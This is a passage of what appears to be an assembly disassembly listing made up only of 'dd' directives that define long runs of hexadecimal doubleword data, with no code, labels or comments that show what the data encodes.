		dd 0B4BC0001h, 0CC3AF668h, 980040ECh, 46D77928h, 0DD4B53h
		dd 22C55E7Eh, 45575CFh,	0E594B100h, 0E021932Ch,	875B006Dh
		dd 83DE8AE3h, 9A05FB2Ah, 2AC4B23h, 0EDC0D85Dh, 0DFAF7DFCh
		dd 0AA0C00BBh, 973132DBh, 801B24Bh, 9F960F48h, 0B4F456B7h
		dd 0AB7A0302h, 93621933h, 0EEB757FBh, 35562780h, 0F8003BD8h
		dd 991BD0B5h, 486DCD39h, 0A700961Ah, 8072E6C3h,	9A001234h
		dd 85173292h, 78506699h, 486A0002h, 576F035Ah, 0A007D8D7h
		dd 33888A19h, 30FE5FB0h, 18089894h, 0CA214FDFh,	0AE716524h
		dd 0D8AF7801h, 0EF4DF7CBh, 1FDC3230h, 0C0D3BED5h, 37B5FD55h
		dd 0ED0032C7h, 88DA1A36h, 0CD07A30h, 57B356E2h,	0E9006030h
		dd 28A07355h, 0A1E6F1h,	75A4F7D6h, 99E093B0h, 4191800h
		dd 49480159h, 3BA326B6h, 796E0E85h, 0C6845F23h,	6F78D5E9h
		dd 0B285A0h, 5D17ABBCh,	0BD4F58F9h, 0ECB1340Bh,	93B02E5Bh
		dd 0B8E84C30h, 0B56807F2h, 8151DF05h, 0D789BD16h, 0C64377C0h
		dd 9BC7405h, 6CD0CFFEh,	0F137D586h, 922257E8h, 0AE4A00E4h
		dd 0D025447Eh, 321E4605h, 0C78164D6h, 0D8BA9A1Eh, 0B7F5D4h
		dd 0BB8DC5C2h, 0A65FC87Eh, 39D15C00h, 0E9EB3086h, 0A0BA04h
		dd 5A68588Ah, 31D1AE1Dh, 81D808CEh, 0C92F106Ah,	624E898Eh
		dd 2596EAC0h, 27F823C6h, 6E38EB74h, 0C46FAE8Eh,	8057E589h
		dd 0ED259039h, 4C8060B8h, 0A5FF44F5h, 0E9AC510Eh, 5E24606Bh
		dd 0C09D2D0Bh, 78A06439h, 85007BB9h, 4E2C552Bh,	0C168318Eh
		dd 25A92321h, 59BE32Dh,	0C0ECB906h, 41C533h, 227E6020h
		dd 0AEA8868Eh, 996C4107h, 749E5D89h, 0B83D3050h, 10BD2262h
		dd 1F64CE04h, 861F243Bh, 66468980h, 0C82A99h, 1760576Eh
		dd 106CFF61h, 9049F107h, 3510B3E8h, 0BB0442h, 696BBA2Fh
		dd 623D0EE9h, 3152BE01h, 0EFBF8BA7h, 62692E4h, 28A92FE3h
		dd 0FB2028FEh, 0C6F10009h, 3D48B3Ah, 0CD009242h, 7DA91434h
		dd 2E96E1Ah, 0BE5DCC52h, 0E3020D7Eh, 0EA20218h,	23BEC02h
		dd 0E502DA87h, 1EE0020Ch, 5A834107h, 6FF90094h,	0A8285644h
		dd 4200CFFBh, 4ABF2F01h, 239D5E0h, 5B8A6147h, 96C0EBC5h
		dd 1D06F73Bh, 0D7746D88h, 45613840h, 52FEBC54h,	0CA00A8B8h
		dd 5E3F3CA9h, 85735C65h, 2D05EBF8h, 2360FB83h, 924AC4D0h
		dd 63071D1Bh, 4E58C0DCh, 0C6EE471Dh, 393F7302h,	4412E0EFh
		dd 0BDFA04h, 0CC24496Ah, 2D13950Eh, 5992A5Ch, 7923F2F5h
		dd 0EA500C8h, 785D54EBh, 8AFED241h, 3BA4707Dh, 0E1209C00h
		dd 17014610h, 0B0E37B7Ah, 0AC260039h, 23FDE889h, 0A1C08784h
		dd 0CC30C4D2h, 51D518B0h, 790DE901h, 297A9F00h,	0EC87DD6Fh
		dd 0C0837FB0h, 401DEDA9h, 0C1007E25h, 99E228CAh, 0EF3EF9h
		dd 0F85DC0CDh, 0BB71B27Fh, 921EC800h, 37AD2C49h, 85B93CBAh
		dd 90BE3383h, 8FA73023h, 0EFAC420h, 0D8004CAFh,	165B3635h
		dd 89CF49h, 5A5CBD01h, 32E385A6h, 39082C60h, 0E8FAD4BEh
		dd 3D0D3049h, 0B8C0D249h, 27E020C0h, 902C86h, 3707992Bh
		dd 64E430F4h, 54E29F0Dh, 1C008060h, 83E41h, 847FAEA1h
		dd 6EFCF43Bh, 62D4C3Ah,	91977C9Bh, 55EF185Eh, 71938143h
		dd 0DF9589C0h, 1EDC8144h, 4068C472h, 7417C62Dh,	53740BB1h
		dd 0AD8AA319h, 0CDBF138h, 8792D908h, 0BA004241h, 1A156DD3h
		dd 13CE7B2h, 63FC4402h,	80B0FB24h, 507AB471h, 6F345720h
		dd 8054C05Ah, 49929318h, 500D21Fh, 0ADC72409h, 35E885BBh
		dd 8341B26Bh, 2862F0E6h, 2CB8B318h, 84A1FF10h, 48E09025h
		dd 1C808C88h, 1DA77066h, 569200F2h, 0E64E04EDh,	0C128EE6Ch
		dd 12230B6h, 25A1C0FAh,	0A90BAB79h, 1A1E3A0Ah, 0BA1480AAh
		dd 30803038h, 0C34D9AA2h, 0CDF8E339h, 4F6F5100h, 0AA64E214h
		dd 0DFCC0D99h, 0BF388B4Dh, 0D94430h, 0C8A11B17h, 45C484FDh
		dd 715487EEh, 0C32E3ECh, 99D8F0B5h, 2A1183DCh, 9707CC70h
		dd 6EE60600h, 0E808CF9Eh, 91E70FD2h, 0FB86A557h, 970039B3h
		dd 0BE08511Fh, 0ED09DF4Fh, 6A488181h, 0D4F7CEABh, 79C05DD2h
		dd 86F952BFh, 0D3170370h, 2C13CF28h, 864F051h, 0B06FE884h
		dd 140C14A0h, 82E83632h, 88477A9Ah, 7FBAA074h, 6A003C91h
		dd 63DA5879h, 6C5C004Ah, 370D3332h, 0C800F013h,	759120A8h
		dd 11C6B8Ch, 59EEBC31h,	109F353Dh, 0A0D35A25h, 907FA9A0h
		dd 0ECD224CCh, 0C5E9800Ch, 82C6954Ch, 0E4DE9C00h, 0DD51E2B5h
		dd 90191801h, 697B3A92h
		dd 0F054A490h, 250931E0h, 2320D8B6h, 0F8748100h, 0C3D31895h
		dd 44E7FF60h, 0FB00F17Dh, 0C7BB84CBh, 1E38F80Bh, 0A451C8h
		dd 705DCF99h, 0B493FA6Ah, 0D7C0871Eh, 6582DDA3h, 0B8240731h
		dd 8094FB89h, 73A14C8Ah, 942F1228h, 0A4A63271h,	0C957042h
		dd 0F454432Dh, 0F2902931h, 4BBCC980h, 0CB8C077Bh, 0D12AC2E4h
		dd 46008CEAh, 2CB44823h, 0C359B720h, 61689AE8h,	4BF8211Bh
		dd 0BFCFC1E1h, 16BDF4h,	77AF933Dh, 0BEB2EA45h, 0A42C2715h
		dd 443B3AF8h, 49109180h, 74119409h, 0C93188A2h,	5025809Eh
		dd 3C9080C1h, 0B9037892h, 7EEF02FBh, 0EBB688AEh, 9A27015Eh
		dd 2CC5DF10h, 0D2C45343h, 7306B1EEh, 0E87ED135h, 0C1430110h
		dd 8809AF7h, 34A4511Bh,	0F625108Dh, 0C5387CC9h,	9FB4811h
		dd 1C91F858h, 0E8AF701Ah, 20158A00h, 62F6B08Bh,	5E130DFh
		dd 81241EC8h, 9A64B40Ah, 0DA40CC4Eh, 48E8486Eh,	0A78988DDh
		dd 0B009494h, 56622BD0h, 1E0A119h, 0C007D229h, 800D4C0Eh
		dd 3A33D9B1h, 0C673AC7Ah, 419A93A1h, 123E9C00h,	335B0D6Fh
		dd 6360075h, 0D33F9B82h, 989AB8D8h, 221E4744h, 3128F2B2h
		dd 9B099A73h, 8BBDA4F7h, 9DE026Ch, 0F828482Fh, 9439C1B7h
		dd 0C99731E8h, 0AE60243Eh, 0D01388h, 4475B2F5h,	66347048h
		dd 0C288F44Ch, 0A332C539h, 0F8E16088h, 1864472h, 0CA5DD0CBh
		dd 34F48E17h, 0BD48D948h, 0BE44113Ch, 48B0B022h, 0CC56B909h
		dd 90502318h, 0DBC907E5h, 50216C76h, 0E320B3Fh,	61405C09h
		dd 0F0E087F9h, 0D0FF8148h, 81CD0548h, 9DB35111h, 0D0337356h
		dd 0C3579E01h, 70D3F66Dh, 74265CA2h, 0E89D248Ch, 315894ECh
		dd 744D03EDh, 35E907AEh, 0FA423AE0h, 72BC1900h,	2A777B27h
		dd 17E1C0B8h, 0D81BC405h, 0D3639A18h, 1F0FB019h, 52FB3AF8h
		dd 90984625h, 3F07A9E8h, 83BA8D91h, 0FC8A7BF0h,	0AA573C27h
		dd 0C13D7059h, 368BE101h, 420748D3h, 2CC9CB78h,	825D24Eh
		dd 0E830CC12h, 0DBEA1Dh, 30360D15h, 0C796FB97h,	24871E80h
		dd 9840F6B8h, 0FB43380Dh, 2C7594A4h, 740014FEh,	952107F9h
		dd 35C9FD6Ah, 9920CF33h, 5965F884h, 0A7A1861Dh,	0F7670949h
		dd 0FC209F00h, 2E1233CDh, 384815D9h, 9DB180AFh,	0A0BB7329h
		dd 788B4A3Fh, 499BE419h, 0A08E1AC9h, 4E86050Eh,	1649D169h
		dd 22A8585Ch, 0EF902A83h, 0B0610E88h, 3B000BCDh, 3A788F21h
		dd 6777EE08h, 46D20C5Ch, 8300DC49h, 9AEA7C39h, 4C0C49FDh
		dd 87885450h, 59E4908Ch, 0B00F032Ah, 97BAA00Ah,	0BCA2A1BAh
		dd 0F82A3269h, 56009F11h, 11F1DAD1h, 2C927E66h,	90B35F22h
		dd 21790224h, 0FF6A6746h, 0C184C08Ah, 0FC53C7F3h, 0E82E98E5h
		dd 0C8AB6CC1h, 7EFE1F00h, 391C86F1h, 2E166C56h,	0F90C2023h
		dd 0FB4C2BEFh, 8BC280E8h, 469BFAh, 0E93474EDh, 61BA19FDh
		dd 0B7CECA0Bh, 0D4081113h, 3D00E423h, 583B3C82h, 0CB019866h
		dd 5A8861C3h, 0B0322428h, 0D4A6B522h, 98D59900h, 0C83DBB0Bh
		dd 0D2102676h, 600426FBh, 0F723E1D9h, 3F09437Fh, 0A0A35BBBh
		dd 6F221E78h, 0AA182C50h, 3359C048h, 2F07308Ah,	0C767D562h
		dd 0A1B7F470h, 7E2005A6h, 0C9688732h, 0A83EDCACh, 0D92599CCh
		dd 8CFA4D1Dh, 0D5D648C0h, 0E62A7368h, 9B0F60FCh, 809906C5h
		dd 0ED147F7h, 0ACC90140h, 200A1643h, 0CB44645Bh, 1E400494h
		dd 8B5CEF0Fh, 6F8703C0h, 8B01BCB1h, 0D8FBB33Ah,	0BC608025h
		dd 5FA801E2h, 4A7F67F0h, 24804861h, 38966B0Ah, 0B409CD45h
		dd 1D4841A8h, 13AA058h,	0CA286B75h, 28B2EFB6h, 0E1128864h
		dd 8AD1729Ah, 8C303289h, 0E464A153h, 6077CC73h,	0B6E8D4C6h
		dd 207EFCB3h, 0FD2B8300h, 0A20BB406h, 8CF029F8h, 5F2C8098h
		dd 27674D64h, 4E1EC6B8h, 22968242h, 2065D822h, 6275D7FBh
		dd 0BAA854C0h, 0DDAFF5h, 3CBF9CE8h, 74BCB97Bh, 686AEF2Ah
		dd 0B1CC1322h, 0CE133A00h, 109C3079h, 0D1E8F87h, 48CE89D5h
		dd 8E6DA2D9h, 3D188142h, 0E180863Bh, 2F9BBF3Fh,	0DB04BB40h
		dd 0F5A0B46h, 9FB39C90h, 97D90211h, 696B3FFCh, 38324448h
		dd 802520A0h, 889C1F58h, 129C41B3h, 92E6704Ah, 0A8058D26h
		dd 20E14E8h, 9D6EC0DBh,	5233DCD5h, 501FCEBh, 628C0DD4h
		dd 433EFh, 0E56D122h, 2259B2ADh, 0D5034BFBh, 0B07DECC8h
		dd 0FBD8FBC9h, 8C4FF8BFh, 749916F4h, 0D4B42175h, 0D1F4522Dh
		dd 0CF0008C4h, 8795EB74h, 0E078E75Bh, 6C70E77Fh, 0E4A30B42h
		dd 2030B9D0h, 75FE5823h, 0CB43200h, 0C331E648h,	60A0B9FAh
		dd 8C95EA63h, 7F29DF00h, 0F4315FD2h, 75B83492h,	49FCA031h
		dd 90F70520h, 65C64B8Ch, 0B9904324h, 193BAEE7h,	0D66F8055h
		dd 9440A0E8h, 47CD174Eh, 99C2124h, 18839ADh, 4F997A43h
		dd 0AEFC5E6Bh, 5AD600FDh, 0B77C4B22h, 861E72FEh, 3D5D97C9h
		dd 0C508110h, 0BDF529BBh, 21AD12C8h, 0E8210630h, 610EDA24h
		dd 41A45063h, 705BAB7Eh, 12C7F460h, 214AFEF7h, 8EB63B8h
		dd 90824438h, 89A13E60h, 952563h, 0FAB6D0Ah, 0EB98D201h
		dd 412FC903h, 81FBDEC1h, 9072D34Ah, 7D2A0500h, 10FE2C9Dh
		dd 3EEB3D01h, 3332EC37h, 0DE016829h, 61CE4B4h, 0E87C242Ch
		dd 20ACB252h, 46F830A3h, 64EAEE11h, 8B7A2500h, 0CD31AB81h
		dd 0B4D10F2Eh, 138F296Fh, 0BB89EF8Fh, 0FD9B8C20h, 5F729AD0h
		dd 0B9958022h, 68EF011Ch, 38AC6187h, 0B3B9C410h, 0F94C0952h
		dd 6892D8C6h, 0B0B101F8h, 4C724300h, 60D825Ah, 0D9832EC4h
		dd 0FF0019B9h, 0F4B03235h, 0C9185A48h, 0A8C8C2D8h, 1988B8EAh
		dd 22EF1225h, 76A0929Fh, 0CD52CE20h, 0C4CCF523h, 3C32006Bh
		dd 402C4AA6h, 661209E8h, 5CC8FB67h, 5D713A9Ah, 84452F44h
		dd 8A47F830h, 0C1EBEC26h, 0C7780F00h, 0A49C6ECDh, 9135B008h
		dd 0B11100h, 0F874AF54h, 0E88A8650h, 7C19C04Ah,	52C53304h
		dd 0F8EE223Fh, 67B2700h, 4E1DB6BAh, 9F3C04F9h, 0C8DECDF1h
		dd 3A007ADCh, 7FC2E2E7h, 1237D719h, 37E92B65h, 82AEA0F4h
		dd 4203ECB2h, 20DEB031h, 0E0416428h, 0C0E4504Fh, 0BA3C1CACh
		dd 3AF9C46Ch, 20085271h, 0C4088033h, 8893A130h,	550583FCh
		dd 4C460E53h, 9BF5E489h, 0D22F3980h, 0E2D7C095h, 0A5F82600h
		dd 6A48D0D4h, 3CB125A4h, 11B8840Ah, 409700E4h, 1722AEEBh
		dd 14D07EF6h, 5C424C75h, 28904D1Ah, 57002873h, 0B9B49D76h
		dd 0FE60007Ah, 69DF1BB6h, 33008036h, 13484F0Fh,	944C9AA5h
		dd 2974A424h, 0ED546A48h, 22E848F8h, 7A177D12h,	2FDDC300h
		dd 0A04A1A1Ch, 0A3FECD4h, 0BD655079h, 0DF7A0454h, 208C22B8h
		dd 4077B0FCh, 0E2341B00h, 0EB1C411Dh, 0EFDD396Bh, 0A4393164h
		dd 4884908h, 0B74200B3h, 615B6BE4h, 0BE09110Dh,	13182C6Fh
		dd 1B58BB84h, 393132D9h, 805A24E7h, 0C6CC94A0h,	5CD08251h
		dd 33411EC8h, 98FC2885h, 0E88C437Eh, 490C39B3h,	31E70749h
		dd 0A9EE60D2h, 0ABFE4319h, 2EB49F0Fh, 0D5B7605Ch, 59ED0Bh
		dd 0F4176392h, 16D85025h, 908CFCB4h, 92849E6h, 1C3FFB3Eh
		dd 9561890Eh, 28AA2167h, 5C09F0C0h, 0B0B201C7h,	8346A375h
		dd 0C03C2862h, 0CD023E0Ah, 4EF601ACh, 84C15082h, 20F00658h
		dd 0C8A13016h, 0B0DE1046h, 7FD501E8h, 0EF3580B8h, 0F91160D3h
		dd 0DBE32B1Dh, 0E77DB040h, 58E848A2h, 9389CC6Bh, 46C40890h
		dd 0EBC71912h, 1DC36440h, 90A04CD0h, 60CC9C04h,	0EB672423h
		dd 704E9F15h, 41A94CD4h, 843974h, 0D8D971AFh, 0C36121h
		dd 0E225CE35h, 13A4898Fh
		dd 4CBE8424h, 0C820D292h, 0C988D7h, 0D6825E43h,	3CD0E82Bh
		dd 965A8F72h, 0ADF52441h, 0D940A7F6h, 24200102h, 40FCB9EFh
		dd 0D334C93Eh, 2C94193Ah, 0B40E8FBh, 7D46AAh, 0DF5C6041h
		dd 0FAC6F93h, 58669216h, 6CD12092h, 2B2A12C0h, 9468D81Ah
		dd 0AE0BAFF8h, 1CFA6B81h, 44CCA208h, 0F93C90E4h, 0B8CC1115h
		dd 0DF79D780h, 1B88917Bh, 88DC9CC1h, 9B44495Fh,	0E788B340h
		dd 1375E584h, 67DF5913h, 0C580E004h, 4A9888h, 636C8BACh
		dd 6975F1DEh, 197B90CBh, 660C2C00h, 0D1F4A28Ch,	909213D8h
		dd 37DC0148h, 5B0FF800h, 0B0DDC1D5h, 73B60012h,	4BE4F1C6h
		dd 84B44762h, 69488299h, 1B19D010h, 43D9A162h, 5FAC8022h
		dd 2C38F93Dh, 872C0B2Dh, 0C974E403h, 4E00D8C4h,	0C9360DF7h
		dd 192B3422h, 49C3F1CFh, 17840D2h, 160A75AFh, 88C898FDh
		dd 7100CC2Bh, 0D1E74305h, 10E40541h, 40E18802h,	2137FFF0h
		dd 0DD050E19h, 82950386h, 42707CC8h, 0B83A25D1h, 0C0E99034h
		dd 0E16CAD61h, 7F006545h, 0A69DC1E0h, 0B26563Bh, 0F950E715h
		dd 0DA90A044h, 0C144FCB6h, 0F3D48224h, 80DA852Fh, 28E33C85h
		dd 42D8161Dh, 0BA4E67C9h, 7E0F1C5Ah, 1670B43Fh,	5AB09Ch
		dd 8FD3BC56h, 69B897CDh, 361E641Fh, 0A278F145h,	0E50A0DCh
		dd 80DDBB42h, 0DFA0434Fh, 63FEC811h, 0FAF10301h, 30C7F22Ch
		dd 204EB033h, 71570450h, 96679900h, 6C4028B5h, 20D093Dh
		dd 8818B8E8h, 0C68A7A66h, 0A62C0014h, 0D241606Ah, 0AC07A5AFh
		dd 0C604BB7Bh, 0A4AE67B1h, 88961C7Ch, 5424BF94h, 0EC2E4D33h
		dd 0C5F9A5C0h, 5AAE0104h, 5466EAF0h, 22943995h,	0D21400E6h
		dd 0CEAF6A12h, 780409B7h, 729ABDF2h, 58025888h,	8D807091h
		dd 0E9F1BA68h, 5B50490Fh, 0CA811EB0h, 22A2011h,	6093F864h
		dd 4BA53187h, 3C00B02Eh, 0D960BAEEh, 4D959F26h,	54589CB7h
		dd 2FCB0C48h, 0A25E38CCh, 0ECA3300Bh, 998301C0h, 0DC97551h
		dd 0BF81FC70h, 0B828E8B1h, 4E9AF50Ah, 0F9092CDEh, 0E19463ABh
		dd 1982E865h, 0D1200BD9h, 0C700887Ah, 5C5B3C7Ch, 271E99Eh
		dd 779122E6h, 0ACC46F84h, 0A8910C42h, 6BD32A01h, 78F41B0Eh
		dd 9C304AE4h, 0ABA9E8h,	7B586E55h, 7E49C65h, 9B095F7Ah
		dd 48363D43h, 1218FEF4h, 21996324h, 0F25B77BCh,	7A486409h
		dd 0B4AA016Ah, 0F7825667h, 6112F2AEh, 702A4164h, 9774F028h
		dd 40324A0Fh, 0AB1AA02Fh, 0B14929Ch, 6AC24D0Fh,	39CCD706h
		dd 0AC98F700h, 8F3DD383h, 599026A7h, 0D21B96ECh, 9C90D208h
		dd 2A1D2B2Fh, 0A400AFA7h, 777DB199h, 5C9232F9h,	0C920B2B9h
		dd 9E622FFh, 0FD0773ACh, 0AAB374A0h, 0BC1384D5h, 820AD68h
		dd 12AB1652h, 20F410DAh, 5BF51E2Ch, 0E45AFAF3h,	0B3500F00h
		dd 112B959Dh, 0A7050C17h, 93214441h, 2D8060B4h,	0C03882CFh
		dd 8DFC00F3h, 77E1CBBh,	2C2580A2h, 50C84679h, 4C49585Fh
		dd 0C7C85005h, 4A34114Bh, 0EE461410h, 1AC4AD00h, 0B79F3FE2h
		dd 0B3C7989h, 9050C574h, 34E75810h, 8A00F97Eh, 9DD86675h
		dd 96B9D301h, 0AC956E78h, 241A0D04h, 0C252C481h, 3220DCC4h
		dd 975953E1h, 9D9B1430h, 5DEEFC00h, 4AA5E0BDh, 9CBF3A02h
		dd 0B9A05701h, 0E624565Eh, 18B0A84Ah, 1E8846D8h, 0E1EA60ADh
		dd 9BB8FFEEh, 0F35B1F00h, 0BADF82BFh, 54067DE0h, 9EA2B0D6h
		dd 4BE6C010h, 0CF4A5560h, 615B60CAh, 0FD6360B8h, 0D55170FAh
		dd 0BF22F600h, 5D7FE4FDh, 82D406C4h, 0F1AC14E8h, 0CC84D4Ah
		dd 0CC740B81h, 0D4465D3Dh, 5CBA5890h, 0B239D909h, 0FD3C1A23h
		dd 18D4F940h, 0C1A4A112h, 38F6280Dh, 2876FAF9h,	0D5313500h
		dd 0DB507406h, 3AE51912h, 44D840E4h, 8005E7BAh,	7486E97Dh
		dd 0B8C218B4h, 25CCB9B2h, 2A00104Ch, 0DBFFF4A2h, 0EEBBB3A9h
		dd 6EEC00D5h, 72662385h, 4D2FD715h, 5A98B071h, 0B5C112BEh
		dd 128F42Ch, 8448E648h,	0F5FB455h, 229FFA0Dh, 0C408C96h
		dd 26FF7CD0h, 9DCBE65Ch, 0C66240DAh, 16E1D742h,	4E870F48h
		dd 0DAA7D462h, 0F83C95B4h, 8B2FF02h, 64AD4582h,	4BAE000Ch
		dd 68331DD5h, 420015AAh, 0D384B120h, 0B85D307Fh, 1B140D8Eh
		dd 534917A0h, 0B5D2C244h, 1D1E6C98h, 0F4967A13h, 0E51AC021h
		dd 6B788C15h, 0A106C900h, 25B2CB11h, 60DC9C60h,	53C91FA8h
		dd 0B0EFF71Fh, 849BAD09h, 0E84F1564h, 81C0E272h, 6D29A9B9h
		dd 8F74C4h, 80368ABh, 4E0EA7F8h, 61770D31h, 4444649Ah
		dd 3AC16CF0h, 20CAA8DDh, 17D7DEE0h, 0D01CD500h,	6A6BB1AFh
		dd 5E5F25E4h, 465270EEh, 0E61F80E0h, 27479Dh, 40CB48F3h
		dd 3E70062Ah, 5DDA9A00h, 4D367C2Dh, 27089947h, 51D8BCA0h
		dd 0E01701ABh, 0C60B523h, 1D76EB0Ah, 0C214962Fh, 0FF0D772Ch
		dd 0B4F5B8A0h, 0EF025751h, 1B172863h, 0C75452DFh, 0BC6D8EEEh
		dd 7E7403E8h, 39E12E10h, 0EFD0C84Ah, 90952803h,	0A84BD9C6h
		dd 0F2A38A06h, 0B48903CFh, 0B6FF6ACEh, 634CF9B6h, 21450E68h
		dd 0C8588D3Dh, 0ADC09828h, 5EDFE949h, 3BEA6400h, 0C7539DFAh
		dd 3C5B3D73h, 40302925h, 8E00F234h, 0D971245Ch,	1CDA014h
		dd 0CED4F9FDh, 3AD11978h, 0E433C440h, 0F75CA03h, 4FCDD7BDh
		dd 882F8981h, 0A9D4D761h, 38D86900h, 0E82074h, 37F509EBh
		dd 7A4749B2h, 0B3B7FF04h, 7008FA12h, 3186C80h, 164EC111h
		dd 4834D4DFh, 5380A94Ch, 448A091Eh, 22A34C7Dh, 0EB744209h
		dd 7805DCECh, 0AF07AC50h, 3284DCh, 0F3017E2Ch, 5CC716A7h
		dd 8BCCB13h, 24CCEC22h,	21B4A349h, 0E62888C4h, 0CCE2B345h
		dd 0CB282E26h, 9F8968E0h, 0A02C9025h, 0AF7EB350h, 3DC60B19h
		dd 0ECEA6B24h, 0A45EA462h, 4F044C9h, 0EDBAB9ACh, 668741D3h
		dd 0C029B8D6h, 0A91A809Fh, 819EC9A8h, 0DA244B00h, 34AC7C21h
		dd 0B533068Fh, 4027563Fh, 5D4C644Ch, 2680DC10h,	4C3138FFh
		dd 81E6028Eh, 0AD1A7FB6h, 8FA0788Eh, 0FDC40479h, 0ECBFD505h
		dd 0BC738386h, 0D3AFC995h, 917074D6h, 82DC00A9h, 9821F702h
		dd 0BBB5038Eh, 0F5A458D4h, 25196BE8h, 0F7E87CA6h, 20BDA121h
		dd 3BF90098h, 0B31219B2h, 0FB4E5915h, 0EA4093h,	46631E7Ch
		dd 4E3CD643h, 55AE6200h, 0DAD4DC79h, 8C04976Dh,	0A030F829h
		dd 0F6A456F6h, 6ACC009Eh, 1E11993Fh, 0D41FB3DEh, 9967A2AFh
		dd 0E1D4A75Ch, 0C89302DBh, 0E87B9AB2h, 0FD00C894h, 0FC838766h
		dd 76936548h, 4D1C0073h, 0CC20D474h, 2A2FE8C8h,	36C8A27Eh
		dd 0C8AD2498h, 0D90025D8h, 4FE01A21h, 5FB8BA7h,	2B86E4CCh
		dd 1000B372h, 33815D65h, 0F26AEF30h, 60A59CD1h,	405DCFC0h
		dd 21C83055h, 0D0F89608h, 242369C8h, 3101B03Ah,	7C25602Fh
		dd 19096C50h, 3C4A3A73h, 1F7FE616h, 14B1400Ch, 155FA1D1h
		dd 0F67C770Ah, 0CA25D81Ch, 18B089E4h, 0B13DDDDCh, 0BCC8E1Ch
		dd 4580D1EEh, 0ADBBC73Ah, 1DBF743Fh, 0D353B7EFh, 0E1D1C4C0h
		dd 41EA17D9h, 0C7E89159h, 601E12B6h, 9C86DDBCh,	0A388E064h
		dd 6D001E1Fh, 477B724Fh, 9A0683Dh, 0B96617FBh, 0E3E4853h
		dd 40BA1427h, 5E1BD7B0h, 1820951Dh, 5A7DAEFh, 0AC9BA929h
		dd 835D6B80h, 0FD77E2h,	5B487394h, 0B31BFF72h, 9129C927h
		dd 0B46D4E94h, 3C83093h, 0B6020B48h, 4A796353h,	0A088E469h
		dd 60AA80D8h, 54E47118h, 0F609B350h, 0F97E6451h, 39251FC0h
		dd 6B21F184h, 7D08BD05h, 9A44B0B9h, 6722A340h, 0E50012FEh
		dd 8431BF8Ah, 11C8117h,	0E18E73Dh, 0D01EB5D8h, 791F56E9h
		dd 7C965Fh, 0FD17A183h
		dd 1340A2h, 45CAA852h, 4CF05F18h, 0BF6F409Dh, 50111FA6h
		dd 0EF1B0F15h, 0CE1E5098h, 8F10EA00h, 98C87C63h, 0FA643ACDh
		dd 0CFB240E1h, 48719F9Ah, 0CA2F0B40h, 769D2493h, 0FA7100F9h
		dd 29BB9551h, 0E001DF8h, 90456349h, 0CAEDB6h, 0BC6D6E55h
		dd 9D47E921h, 78C60774h, 81EE1Bh, 5E2BDBDEh, 0BCDF89A5h
		dd 0B218E366h, 8DEF19B8h, 80C129F3h, 1DD6AE90h,	0CEFB26BDh
		dd 821E819h, 0F3F65DB7h, 94386862h, 0B44920FDh,	0CD028E50h
		dd 650CBCC3h, 8DE90131h, 4C088716h, 0F7D1BDD3h,	789DB43Dh
		dd 28A9F035h, 500FBD7h,	0A952CF3Ah, 15CA4860h, 0B03B7BD4h
		dd 738A0C80h, 0F178C304h, 0E06191E1h, 95CEE500h, 0DA9E920Dh
		dd 3200357Dh, 0D40C2EEBh, 183B93E6h, 0B14BCE25h, 77F89C07h
		dd 78D1F161h, 91802535h, 3BDD7C9Fh, 11053CE7h, 0DC315C45h
		dd 2AE2BC06h, 2928DC08h, 0ECD98070h, 0DF66DDA9h, 0BB605067h
		dd 11456940h, 0CC3930FEh, 1D8EEFB9h, 7D898CF7h,	0FEAB41EEh
		dd 4840777h, 90B656E0h,	92A5AEAAh, 8E55290Ch, 392C2908h
		dd 5200E097h, 14815474h, 0BEF2326Dh, 494A950h, 81ED99C8h
		dd 0E0C2E486h, 3AB0F350h, 4D0155F2h, 0C6D3058Eh, 8041B46Dh
		dd 3040158Dh, 2C554556h, 196A338Ah, 12E2219Fh, 0A968C02Dh
		dd 0E8510072h, 5EDC38Ah, 85729B2Eh, 0C9133C3Ah,	0EA457E2Ch
		dd 0F760E8A0h, 821CCCh,	7583880Dh, 0F2CABC15h, 50C1A61Ch
		dd 0C0041FD2h, 13001828h, 9BC332A4h, 0ABDDDC2Eh, 0FF302A04h
		dd 2BE55490h, 4D59C11Eh, 0A90AFC60h, 0E203A841h, 0B8DFB3C3h
		dd 0CE2B9Ch, 44B80F3h, 2F910F07h, 0E2306A61h, 499A13A8h
		dd 1FC10805h, 0E4082522h, 0D007B92h, 1E5F813Fh,	51A806A4h
		dd 1801E85Ah, 0A0231379h, 8110D818h, 0E300CBCDh, 0E7A2C071h
		dd 28BAD540h, 0A32786h,	7F0DE23Ah, 238570FDh, 9B69F701h
		dd 42ABA1BDh, 48F29721h, 667DE914h, 1134D81Ch, 0B4A0ED01h
		dd 0D91E8E26h, 0F864B857h, 1CC7E242h, 4EAEB822h, 0ED4A00B8h
		dd 66E33D67h, 0F81C8261h, 39DCE4C5h, 80C9120h, 0D88DEB8Ch
		dd 0C600D199h, 37865h, 0CDA36158h, 6331B5DAh, 444BFB01h
		dd 0BE74ED1Eh, 4849B186h, 18168997h, 0F21D5A96h, 900352D3h
		dd 28AB6F11h, 0C188459h, 47D8BD5Fh, 1900A8E9h, 7F2AFB29h
		dd 1310CBBh, 0C708B1EEh, 35535559h, 0F67C00B4h,	0E00CA8B6h
		dd 4051D920h, 0B40A847h, 594660CFh, 0D45C9FCBh,	8662E407h
		dd 31B13B37h, 0E441C401h, 0EC22C6E2h, 0F15CB800h, 0FFD682B0h
		dd 0C8473091h, 6BAE1C40h, 3F597ADAh, 0E700D72Ah, 4B29BDA2h
		dd 28920186h, 0F8954700h, 61B4106Bh, 0F8D89A7Bh, 1F5700B1h
		dd 0D28EB2D5h, 0D8A48A74h, 0DB3E44h, 0C076316Fh, 0F9755090h
		dd 9F969101h, 0FF5174CBh, 7EC2E9BCh, 0FA94E0A8h, 12D04988h
		dd 5E5E7EBEh, 27AD00B0h, 9831C78Bh, 0D8D12A75h,	320C87F4h
		dd 45C037Fh, 0BD75F0B1h, 0EB520085h, 4FF8318Ch,	0F483596h
		dd 65110A18h, 478AAC2Dh, 5F004492h, 29A3CB50h, 0B3103012h
		dd 0F999EEF1h, 57E299C0h, 15635622h, 0E8B0F6BCh, 0F8B84054h
		dd 0D7E93CC1h, 330D8A8h, 2E236CD6h, 0C4908AF7h,	8F58EEA5h
		dd 0F0148A60h, 0C0A09615h, 530C60B7h, 677500E2h, 9C442605h
		dd 4E13F619h, 24485293h, 71359F14h, 30E0F039h, 0B214B8C7h
		dd 6C3023h, 451A70C0h, 3034C5CCh, 83190835h, 71FA23A0h
		dd 0F06ED500h, 0C21C871Dh, 33B201B5h, 8E3C4D24h, 97498E11h
